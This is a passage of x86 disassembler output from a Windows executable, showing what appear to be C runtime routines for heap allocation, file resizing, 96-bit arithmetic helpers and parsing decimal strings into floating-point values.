		mov	eax, dword_48AB28
		cmp	eax, 3
		jnz	short loc_420E64
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_48AB20
		ja	short loc_420E83
		push	eax
		call	sub_41ADDD
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_420EAE
		jmp	short loc_420E83
; ---------------------------------------------------------------------------

loc_420E64:				; CODE XREF: sub_420E18+30j
		cmp	eax, 2
		jnz	short loc_420E83
		cmp	esi, dword_43ACC4
		ja	short loc_420E83
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41B880
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_420EC2

loc_420E83:				; CODE XREF: sub_420E18+3Bj
					; sub_420E18+4Aj ...
		push	esi
		push	8
		push	dword_48AB24
		call	dword_4230E8	; RtlAllocateHeap
		mov	edi, eax
		test	edi, edi
		jnz	short loc_420EBC

loc_420E98:				; CODE XREF: sub_420E18+26j
		cmp	dword_48950C, 0
		jz	short loc_420EBC
		push	esi
		call	sub_41A854
		test	eax, eax
		pop	ecx
		jz	short loc_420EC5
		jmp	short loc_420E39
; ---------------------------------------------------------------------------

loc_420EAE:				; CODE XREF: sub_420E18+48j
		push	[ebp+arg_0]

loc_420EB1:				; CODE XREF: sub_420E18+ABj
		push	0
		push	edi
		call	sub_417030
		add	esp, 0Ch

loc_420EBC:				; CODE XREF: sub_420E18+7Ej
					; sub_420E18+87j
		mov	eax, edi

loc_420EBE:				; CODE XREF: sub_420E18+AFj
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_420EC2:				; CODE XREF: sub_420E18+69j
		push	esi
		jmp	short loc_420EB1
; ---------------------------------------------------------------------------

loc_420EC5:				; CODE XREF: sub_420E18+92j
		xor	eax, eax
		jmp	short loc_420EBE
sub_420E18	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41F813

loc_420EC9:				; CODE XREF: sub_41F813+Ej
		push	esi
		push	edi
		push	3
		xor	edi, edi
		pop	esi
		cmp	dword_48A7C0, esi
		jle	short loc_420F1C

loc_420ED8:				; CODE XREF: sub_41F813+1707j
		mov	eax, dword_4897A8
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_420F13
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_420EF7
		push	eax
		call	sub_417600
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_420EF7
		inc	edi

loc_420EF7:				; CODE XREF: sub_41F813+16D5j
					; sub_41F813+16E1j
		cmp	esi, 14h
		jl	short loc_420F13
		mov	eax, dword_4897A8
		push	dword ptr [eax+esi*4]
		call	sub_41793B
		mov	eax, dword_4897A8
		pop	ecx
		and	dword ptr [eax+esi*4], 0

loc_420F13:				; CODE XREF: sub_41F813+16CFj
					; sub_41F813+16E7j
		inc	esi
		cmp	esi, dword_48A7C0
		jl	short loc_420ED8

loc_420F1C:				; CODE XREF: sub_41F813+16C3j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_41F813

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420F21	proc near		; CODE XREF: sub_41FBF2+271p

var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_417830
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	ebx, dword_48A8E0
		jnb	loc_421056
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_48A7E0[eax*4]
		test	byte ptr [eax+ecx*8+4],	1
		jz	loc_421056
		push	1
		push	esi
		push	ebx
		call	sub_41E217
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_421060
		push	2
		push	esi
		push	ebx
		call	sub_41E217
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_421060
		push	edi
		mov	edi, [ebp+arg_4]
		sub	edi, eax
		test	edi, edi
		jle	short loc_421003
		push	1000h
		lea	eax, [ebp+var_1000]
		push	esi
		push	eax
		call	sub_417030
		push	8000h
		push	ebx
		call	sub_421B5B
		add	esp, 14h
		mov	[ebp+arg_4], eax

loc_420FB7:				; CODE XREF: sub_420F21+BDj
		mov	eax, 1000h
		cmp	edi, eax
		jge	short loc_420FC2
		mov	eax, edi

loc_420FC2:				; CODE XREF: sub_420F21+9Dj
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	ebx
		call	sub_41EAC2
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_420FE0
		sub	edi, eax
		test	edi, edi
		jle	short loc_420FF6
		jmp	short loc_420FB7
; ---------------------------------------------------------------------------

loc_420FE0:				; CODE XREF: sub_420F21+B5j
		cmp	dword_4894B0, 5
		jnz	short loc_420FF3
		mov	dword_4894AC, 0Dh

loc_420FF3:				; CODE XREF: sub_420F21+C6j
		or	esi, 0FFFFFFFFh

loc_420FF6:				; CODE XREF: sub_420F21+BBj
		push	[ebp+arg_4]
		push	ebx
		call	sub_421B5B
		pop	ecx
		pop	ecx
		jmp	short loc_421043
; ---------------------------------------------------------------------------

loc_421003:				; CODE XREF: sub_420F21+71j
		jge	short loc_421043
		push	0
		push	[ebp+arg_4]
		push	ebx
		call	sub_41E217
		push	ebx
		call	sub_41FB5E
		add	esp, 10h
		push	eax
		call	dword_423010	; SetEndOfFile
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		neg	esi
		dec	esi
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_421043
		mov	dword_4894AC, 0Dh
		call	dword_42308C	; RtlGetLastWin32Error
		mov	dword_4894B0, eax

loc_421043:				; CODE XREF: sub_420F21+E0j
					; sub_420F21:loc_421003j ...
		push	0
		push	[ebp+arg_0]
		push	ebx
		call	sub_41E217
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		jmp	short loc_421063
; ---------------------------------------------------------------------------

loc_421056:				; CODE XREF: sub_420F21+1Aj
					; sub_420F21+36j
		mov	dword_4894AC, 9

loc_421060:				; CODE XREF: sub_420F21+4Ej
					; sub_420F21+63j
		or	eax, 0FFFFFFFFh

loc_421063:				; CODE XREF: sub_420F21+133j
		pop	esi
		pop	ebx
		leave
		retn
sub_420F21	endp


; =============== S U B	R O U T	I N E =======================================



sub_421067	proc near		; CODE XREF: sub_42005D+2Bp
					; sub_42005D+42p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		lea	ecx, [edx+esi]
		cmp	ecx, edx
		jb	short loc_42107D
		cmp	ecx, esi
		jnb	short loc_421080

loc_42107D:				; CODE XREF: sub_421067+10j
		push	1
		pop	eax

loc_421080:				; CODE XREF: sub_421067+14j
		mov	edx, [esp+4+arg_8]
		pop	esi
		mov	[edx], ecx
		retn
sub_421067	endp


; =============== S U B	R O U T	I N E =======================================



sub_421088	proc near		; CODE XREF: sub_421141+40p
					; sub_421141+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	esi
		push	dword ptr [edi]
		push	dword ptr [esi]
		call	sub_421067
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4210BA
		lea	eax, [esi+4]
		push	eax
		push	1
		push	dword ptr [eax]
		call	sub_421067
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4210BA
		inc	dword ptr [esi+8]

loc_4210BA:				; CODE XREF: sub_421088+19j
					; sub_421088+2Dj
		lea	eax, [esi+4]
		push	eax
		push	dword ptr [edi+4]
		push	dword ptr [eax]
		call	sub_421067
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4210D2
		inc	dword ptr [esi+8]

loc_4210D2:				; CODE XREF: sub_421088+45j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+8]
		push	dword ptr [eax]
		call	sub_421067
		add	esp, 0Ch
		pop	edi
		pop	esi
		retn
sub_421088	endp


; =============== S U B	R O U T	I N E =======================================



sub_4210E6	proc near		; CODE XREF: sub_421141+30p
					; sub_421141+36p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, [eax]
		mov	edi, [eax+4]
		mov	ecx, esi
		add	esi, esi
		mov	[eax], esi
		lea	esi, [edi+edi]
		shr	ecx, 1Fh
		or	esi, ecx
		mov	ecx, [eax+8]
		mov	edx, edi
		mov	[eax+4], esi
		shr	edx, 1Fh
		shl	ecx, 1
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		pop	esi
		retn
sub_4210E6	endp


; =============== S U B	R O U T	I N E =======================================



sub_421114	proc near		; CODE XREF: sub_4216D9+1C8p
					; sub_421BD1+17Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edx, [eax+8]
		mov	ecx, [eax+4]
		mov	esi, edx
		mov	edi, ecx
		shl	esi, 1Fh
		shr	ecx, 1
		or	ecx, esi
		mov	[eax+4], ecx
		mov	ecx, [eax]
		shl	edi, 1Fh
		shr	ecx, 1
		shr	edx, 1
		or	ecx, edi
		pop	edi
		mov	[eax+8], edx
		mov	[eax], ecx
		pop	esi
		retn
sub_421114	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421141	proc near		; CODE XREF: sub_421208+3CAp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_8]
		xor	edx, edx
		cmp	eax, edx
		push	esi
		mov	[ebp+var_4], 404Eh
		mov	[ebx], edx
		mov	[ebx+4], edx
		mov	[ebx+8], edx
		jbe	short loc_4211B5
		push	edi
		mov	[ebp+arg_8], eax

loc_421168:				; CODE XREF: sub_421141+6Fj
		mov	esi, ebx
		lea	edi, [ebp+var_10]
		movsd
		movsd
		push	ebx
		movsd
		call	sub_4210E6
		push	ebx
		call	sub_4210E6
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_421088
		push	ebx
		call	sub_4210E6
		mov	eax, [ebp+arg_0]
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		movsx	eax, byte ptr [eax]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_421088
		add	esp, 1Ch
		inc	[ebp+arg_0]
		dec	[ebp+arg_8]
		jnz	short loc_421168
		xor	edx, edx
		pop	edi

loc_4211B5:				; CODE XREF: sub_421141+21j
					; sub_421141+9Fj
		cmp	[ebx+8], edx
		jnz	short loc_4211E2
		mov	ecx, [ebx+4]
		mov	eax, ecx
		shr	eax, 10h
		mov	[ebx+8], eax
		mov	eax, [ebx]
		mov	esi, eax
		shr	esi, 10h
		shl	ecx, 10h
		or	esi, ecx
		shl	eax, 10h
		add	[ebp+var_4], 0FFF0h
		mov	[ebx+4], esi
		mov	[ebx], eax
		jmp	short loc_4211B5
; ---------------------------------------------------------------------------

loc_4211E2:				; CODE XREF: sub_421141+77j
		mov	esi, 8000h

loc_4211E7:				; CODE XREF: sub_421141+B9j
		test	[ebx+8], esi
		jnz	short loc_4211FC
		push	ebx
		call	sub_4210E6
		add	[ebp+var_4], 0FFFFh
		pop	ecx
		jmp	short loc_4211E7
; ---------------------------------------------------------------------------

loc_4211FC:				; CODE XREF: sub_421141+A9j
		mov	ax, word ptr [ebp+var_4]
		pop	esi
		mov	[ebx+0Ah], ax
		pop	ebx
		leave
		retn
sub_421141	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421208	proc near		; CODE XREF: sub_4203A6+17p
					; sub_4203D3+17p

var_5C		= byte ptr -5Ch
var_45		= byte ptr -45h
var_40		= dword	ptr -40h
var_3A		= dword	ptr -3Ah
var_36		= dword	ptr -36h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	eax, [ebp+var_5C]
		push	1
		mov	[ebp+var_C], eax
		xor	eax, eax
		pop	edx
		mov	[ebp+var_28], eax
		mov	[ebp+var_18], edx
		mov	[ebp+var_4], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_2C], eax
		mov	[ebp+var_30], eax
		mov	[ebp+var_1C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_14], eax
		mov	[ebp+arg_8], edi

loc_421243:				; CODE XREF: sub_421208+52j
		mov	cl, [edi]
		cmp	cl, 20h
		jz	short loc_421259
		cmp	cl, 9
		jz	short loc_421259
		cmp	cl, 0Ah
		jz	short loc_421259
		cmp	cl, 0Dh
		jnz	short loc_42125C

loc_421259:				; CODE XREF: sub_421208+40j
					; sub_421208+45j ...
		inc	edi
		jmp	short loc_421243
; ---------------------------------------------------------------------------

loc_42125C:				; CODE XREF: sub_421208+4Fj
		push	4
		pop	esi

loc_42125F:				; CODE XREF: sub_421208+AEj
					; sub_421208+B7j ...
		mov	bl, [edi]
		inc	edi
		cmp	eax, 0Bh	; switch 12 cases
		ja	loc_4214E2	; default
					; jumptable 0042126B case 10
		jmp	off_4216A9[eax*4] ; switch jump

loc_421272:				; DATA XREF: .data:off_4216A9o
		cmp	bl, 31h		; jumptable 0042126B case 0
		jl	short loc_421283
		cmp	bl, 39h
		jg	short loc_421283

loc_42127C:				; CODE XREF: sub_421208+C4j
					; sub_421208+118j
		push	3
		jmp	loc_4214A0
; ---------------------------------------------------------------------------

loc_421283:				; CODE XREF: sub_421208+6Dj
					; sub_421208+72j
		cmp	bl, byte_438C90
		jnz	short loc_421292

loc_42128B:				; CODE XREF: sub_421208+124j
		push	5
		jmp	loc_4214D8
; ---------------------------------------------------------------------------

loc_421292:				; CODE XREF: sub_421208+81j
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_4212B8
		dec	eax
		dec	eax
		jz	short loc_4212AC
		sub	eax, 3
		jnz	loc_42157B
		jmp	loc_42133B
; ---------------------------------------------------------------------------

loc_4212AC:				; CODE XREF: sub_421208+94j
		push	2
		mov	[ebp+var_28], 8000h
		pop	eax
		jmp	short loc_42125F
; ---------------------------------------------------------------------------

loc_4212B8:				; CODE XREF: sub_421208+90j
		and	[ebp+var_28], 0
		push	2
		pop	eax
		jmp	short loc_42125F
; ---------------------------------------------------------------------------

loc_4212C1:				; CODE XREF: sub_421208+63j
					; DATA XREF: .data:off_4216A9o
		cmp	bl, 31h		; jumptable 0042126B case 1
		mov	[ebp+var_10], edx
		jl	short loc_4212CE
		cmp	bl, 39h
		jle	short loc_42127C

loc_4212CE:				; CODE XREF: sub_421208+BFj
		cmp	bl, byte_438C90
		jz	loc_421396
		cmp	bl, 2Bh
		jz	short loc_421310
		cmp	bl, 2Dh
		jz	short loc_421310
		cmp	bl, 30h
		jz	short loc_42133B

loc_4212E9:				; CODE XREF: sub_421208+207j
		cmp	bl, 43h
		jle	loc_42157B
		cmp	bl, 45h
		jle	short loc_421309
		cmp	bl, 63h
		jle	loc_42157B
		cmp	bl, 65h
		jg	loc_42157B

loc_421309:				; CODE XREF: sub_421208+EDj
		push	6
		jmp	loc_4214D8
; ---------------------------------------------------------------------------

loc_421310:				; CODE XREF: sub_421208+D5j
					; sub_421208+DAj ...
		dec	edi
		push	0Bh
		jmp	loc_4214D8
; ---------------------------------------------------------------------------

loc_421318:				; CODE XREF: sub_421208+63j
					; DATA XREF: .data:off_4216A9o
		cmp	bl, 31h		; jumptable 0042126B case 2
		jl	short loc_421326
		cmp	bl, 39h
		jle	loc_42127C

loc_421326:				; CODE XREF: sub_421208+113j
		cmp	bl, byte_438C90
		jz	loc_42128B
		cmp	bl, 30h
		jnz	loc_4214F0

loc_42133B:				; CODE XREF: sub_421208+9Fj
					; sub_421208+DFj
		mov	eax, edx
		jmp	loc_42125F
; ---------------------------------------------------------------------------

loc_421342:				; CODE XREF: sub_421208+63j
					; DATA XREF: .data:off_4216A9o
		mov	[ebp+var_10], edx ; jumptable 0042126B case 3

loc_421345:				; CODE XREF: sub_421208+184j
		cmp	dword_438C8C, edx
		jle	short loc_42135E
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41A342
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_42136C
; ---------------------------------------------------------------------------

loc_42135E:				; CODE XREF: sub_421208+143j
		mov	ecx, off_438A80
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi

loc_42136C:				; CODE XREF: sub_421208+154j
		test	eax, eax
		jz	short loc_42138E
		cmp	[ebp+var_4], 19h
		jnb	short loc_421386
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		mov	[eax], bl
		jmp	short loc_421389
; ---------------------------------------------------------------------------

loc_421386:				; CODE XREF: sub_421208+16Cj
		inc	[ebp+var_8]

loc_421389:				; CODE XREF: sub_421208+17Cj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_421345
; ---------------------------------------------------------------------------

loc_42138E:				; CODE XREF: sub_421208+166j
		cmp	bl, byte_438C90
		jnz	short loc_4213FD

loc_421396:				; CODE XREF: sub_421208+CCj
		mov	eax, esi
		jmp	loc_42125F
; ---------------------------------------------------------------------------

loc_42139D:				; CODE XREF: sub_421208+63j
					; DATA XREF: .data:off_4216A9o
		cmp	[ebp+var_4], 0	; jumptable 0042126B case 4
		mov	[ebp+var_10], edx
		mov	[ebp+var_24], edx
		jnz	short loc_4213B6

loc_4213A9:				; CODE XREF: sub_421208+1ACj
		cmp	bl, 30h
		jnz	short loc_4213B6
		dec	[ebp+var_8]
		mov	bl, [edi]
		inc	edi
		jmp	short loc_4213A9
; ---------------------------------------------------------------------------

loc_4213B6:				; CODE XREF: sub_421208+19Fj
					; sub_421208+1A4j ...
		cmp	dword_438C8C, edx
		jle	short loc_4213CF
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41A342
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_4213DD
; ---------------------------------------------------------------------------

loc_4213CF:				; CODE XREF: sub_421208+1B4j
		mov	ecx, off_438A80
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi

loc_4213DD:				; CODE XREF: sub_421208+1C5j
		test	eax, eax
		jz	short loc_4213FD
		cmp	[ebp+var_4], 19h
		jnb	short loc_4213F8
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		dec	[ebp+var_8]
		mov	[eax], bl

loc_4213F8:				; CODE XREF: sub_421208+1DDj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_4213B6
; ---------------------------------------------------------------------------

loc_4213FD:				; CODE XREF: sub_421208+18Cj
					; sub_421208+1D7j
		cmp	bl, 2Bh
		jz	loc_421310
		cmp	bl, 2Dh
		jz	loc_421310
		jmp	loc_4212E9
; ---------------------------------------------------------------------------

loc_421414:				; CODE XREF: sub_421208+63j
					; DATA XREF: .data:off_4216A9o
		cmp	dword_438C8C, edx ; jumptable 0042126B case 5
		mov	[ebp+var_24], edx
		jle	short loc_421430
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41A342
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_42143E
; ---------------------------------------------------------------------------

loc_421430:				; CODE XREF: sub_421208+215j
		mov	ecx, off_438A80
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi

loc_42143E:				; CODE XREF: sub_421208+226j
		test	eax, eax
		jz	loc_4214F0
		mov	eax, esi
		jmp	short loc_4214A1
; ---------------------------------------------------------------------------

loc_42144A:				; CODE XREF: sub_421208+63j
					; DATA XREF: .data:off_4216A9o
		lea	ecx, [edi-2]	; jumptable 0042126B case 6
		cmp	bl, 31h
		mov	[ebp+arg_8], ecx
		jl	short loc_42145A
		cmp	bl, 39h
		jle	short loc_42149E

loc_42145A:				; CODE XREF: sub_421208+24Bj
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_4214D6
		dec	eax
		dec	eax
		jz	short loc_4214CA
		sub	eax, 3
		jnz	loc_42157E

loc_42146F:				; CODE XREF: sub_421208+2A4j
		push	8
		jmp	short loc_4214D8
; ---------------------------------------------------------------------------

loc_421473:				; CODE XREF: sub_421208+63j
					; DATA XREF: .data:off_4216A9o
		mov	[ebp+var_20], edx ; jumptable 0042126B case 8

loc_421476:				; CODE XREF: sub_421208+276j
		cmp	bl, 30h
		jnz	short loc_421480
		mov	bl, [edi]
		inc	edi
		jmp	short loc_421476
; ---------------------------------------------------------------------------

loc_421480:				; CODE XREF: sub_421208+271j
		cmp	bl, 31h
		jl	loc_42157B
		cmp	bl, 39h
		jg	loc_42157B
		jmp	short loc_42149E
; ---------------------------------------------------------------------------

loc_421494:				; CODE XREF: sub_421208+63j
					; DATA XREF: .data:off_4216A9o
		cmp	bl, 31h		; jumptable 0042126B case 7
		jl	short loc_4214A7
		cmp	bl, 39h
		jg	short loc_4214A7

loc_42149E:				; CODE XREF: sub_421208+250j
					; sub_421208+28Aj
		push	9

loc_4214A0:				; CODE XREF: sub_421208+76j
		pop	eax

loc_4214A1:				; CODE XREF: sub_421208+240j
		dec	edi
		jmp	loc_42125F
; ---------------------------------------------------------------------------

loc_4214A7:				; CODE XREF: sub_421208+28Fj
					; sub_421208+294j
		cmp	bl, 30h
		jnz	short loc_4214F0
		jmp	short loc_42146F
; ---------------------------------------------------------------------------

loc_4214AE:				; CODE XREF: sub_421208+63j
					; DATA XREF: .data:off_4216A9o
		cmp	[ebp+arg_18], 0	; jumptable 0042126B case 11
		jz	short loc_4214DE
		movsx	eax, bl
		lea	ecx, [edi-1]
		sub	eax, 2Bh
		mov	[ebp+arg_8], ecx
		jz	short loc_4214D6
		dec	eax
		dec	eax
		jnz	loc_42157E

loc_4214CA:				; CODE XREF: sub_421208+25Cj
		or	[ebp+var_18], 0FFFFFFFFh
		push	7
		pop	eax
		jmp	loc_42125F
; ---------------------------------------------------------------------------

loc_4214D6:				; CODE XREF: sub_421208+258j
					; sub_421208+2B8j
		push	7

loc_4214D8:				; CODE XREF: sub_421208+85j
					; sub_421208+103j ...
		pop	eax
		jmp	loc_42125F
; ---------------------------------------------------------------------------

loc_4214DE:				; CODE XREF: sub_421208+2AAj
		push	0Ah
		dec	edi
		pop	eax

loc_4214E2:				; CODE XREF: sub_421208+5Dj
					; sub_421208+63j
					; DATA XREF: ...
		cmp	eax, 0Ah	; default
					; jumptable 0042126B case 10
		jz	loc_421580
		jmp	loc_42125F
; ---------------------------------------------------------------------------

loc_4214F0:				; CODE XREF: sub_421208+12Dj
					; sub_421208+238j ...
		mov	edi, [ebp+arg_8]
		jmp	loc_421580
; ---------------------------------------------------------------------------

loc_4214F8:				; CODE XREF: sub_421208+63j
					; DATA XREF: .data:off_4216A9o
		mov	[ebp+var_20], 1	; jumptable 0042126B case 9
		xor	esi, esi

loc_421501:				; CODE XREF: sub_421208+339j
		cmp	dword_438C8C, 1
		jle	short loc_421519
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41A342
		pop	ecx
		pop	ecx
		jmp	short loc_421528
; ---------------------------------------------------------------------------

loc_421519:				; CODE XREF: sub_421208+300j
		mov	ecx, off_438A80
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4

loc_421528:				; CODE XREF: sub_421208+30Fj
		test	eax, eax
		jz	short loc_421548
		movsx	ecx, bl
		lea	eax, [esi+esi*4]
		lea	esi, [ecx+eax*2-30h]
		cmp	esi, 1450h
		jg	short loc_421543
		mov	bl, [edi]
		inc	edi
		jmp	short loc_421501
; ---------------------------------------------------------------------------

loc_421543:				; CODE XREF: sub_421208+334j
		mov	esi, 1451h

loc_421548:				; CODE XREF: sub_421208+322j
		mov	[ebp+var_1C], esi

loc_42154B:				; CODE XREF: sub_421208+371j
		cmp	dword_438C8C, 1
		jle	short loc_421563
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41A342
		pop	ecx
		pop	ecx
		jmp	short loc_421572
; ---------------------------------------------------------------------------

loc_421563:				; CODE XREF: sub_421208+34Aj
		mov	ecx, off_438A80
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4

loc_421572:				; CODE XREF: sub_421208+359j
		test	eax, eax
		jz	short loc_42157B
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42154B
; ---------------------------------------------------------------------------

loc_42157B:				; CODE XREF: sub_421208+99j
					; sub_421208+E4j ...
		dec	edi
		jmp	short loc_421580
; ---------------------------------------------------------------------------

loc_42157E:				; CODE XREF: sub_421208+261j
					; sub_421208+2BCj
		mov	edi, ecx

loc_421580:				; CODE XREF: sub_421208+2DDj
					; sub_421208+2EBj ...
		mov	eax, [ebp+arg_4]
		cmp	[ebp+var_10], 0
		mov	[eax], edi
		jz	loc_421668
		push	18h
		pop	eax
		cmp	[ebp+var_4], eax
		jbe	short loc_4215AC
		cmp	[ebp+var_45], 5
		jl	short loc_4215A0
		inc	[ebp+var_45]

loc_4215A0:				; CODE XREF: sub_421208+393j
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		dec	eax
		inc	[ebp+var_8]
		jmp	short loc_4215AF
; ---------------------------------------------------------------------------

loc_4215AC:				; CODE XREF: sub_421208+38Dj
		mov	eax, [ebp+var_C]

loc_4215AF:				; CODE XREF: sub_421208+3A2j
		cmp	[ebp+var_4], 0
		jbe	loc_42165E

loc_4215B9:				; CODE XREF: sub_421208+3BDj
		dec	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_4215C7
		dec	[ebp+var_4]
		inc	[ebp+var_8]
		jmp	short loc_4215B9
; ---------------------------------------------------------------------------

loc_4215C7:				; CODE XREF: sub_421208+3B5j
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_5C]
		push	[ebp+var_4]
		push	eax
		call	sub_421141
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		add	esp, 0Ch
		cmp	[ebp+var_18], ecx
		jge	short loc_4215E6
		neg	eax

loc_4215E6:				; CODE XREF: sub_421208+3DAj
		add	eax, [ebp+var_8]
		cmp	[ebp+var_20], ecx
		jnz	short loc_4215F1
		add	eax, [ebp+arg_10]

loc_4215F1:				; CODE XREF: sub_421208+3E4j
		cmp	[ebp+var_24], ecx
		jnz	short loc_4215F9
		sub	eax, [ebp+arg_14]

loc_4215F9:				; CODE XREF: sub_421208+3ECj
		cmp	eax, 1450h
		jle	short loc_421630
		mov	[ebp+var_2C], 1

loc_421607:				; CODE XREF: sub_421208+436j
		mov	ebx, [ebp+arg_8]
		mov	esi, [ebp+arg_8]
		mov	eax, [ebp+arg_8]
		mov	edx, [ebp+arg_8]

loc_421613:				; CODE XREF: sub_421208+454j
					; sub_421208+45Ej
		cmp	[ebp+var_2C], 0
		jz	short loc_421679
		xor	ebx, ebx
		mov	eax, 7FFFh
		mov	esi, 80000000h
		xor	edx, edx
		mov	[ebp+var_14], 2
		jmp	short loc_42168E
; ---------------------------------------------------------------------------

loc_421630:				; CODE XREF: sub_421208+3F6j
		cmp	eax, 0FFFFEBB0h
		jge	short loc_421640
		mov	[ebp+var_30], 1
		jmp	short loc_421607
; ---------------------------------------------------------------------------

loc_421640:				; CODE XREF: sub_421208+42Dj
		push	[ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_421DF1
		mov	edx, [ebp+var_40]
		mov	ebx, [ebp+var_40+2]
		mov	esi, [ebp+var_3A]
		mov	eax, [ebp+var_36]
		add	esp, 0Ch
		jmp	short loc_421613
; ---------------------------------------------------------------------------

loc_42165E:				; CODE XREF: sub_421208+3ABj
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		jmp	short loc_421613
; ---------------------------------------------------------------------------

loc_421668:				; CODE XREF: sub_421208+381j
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 4
		jmp	short loc_42168E
; ---------------------------------------------------------------------------

loc_421679:				; CODE XREF: sub_421208+40Fj
		cmp	[ebp+var_30], 0
		jz	short loc_42168E
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 1

loc_42168E:				; CODE XREF: sub_421208+426j
					; sub_421208+46Fj ...
		mov	ecx, [ebp+arg_0]
		or	eax, [ebp+var_28]
		pop	edi
		mov	[ecx+6], esi
		mov	[ecx+2], ebx
		mov	[ecx+0Ah], ax
		mov	eax, [ebp+var_14]
		pop	esi
		mov	[ecx], dx
		pop	ebx
		leave
		retn
sub_421208	endp

; ---------------------------------------------------------------------------
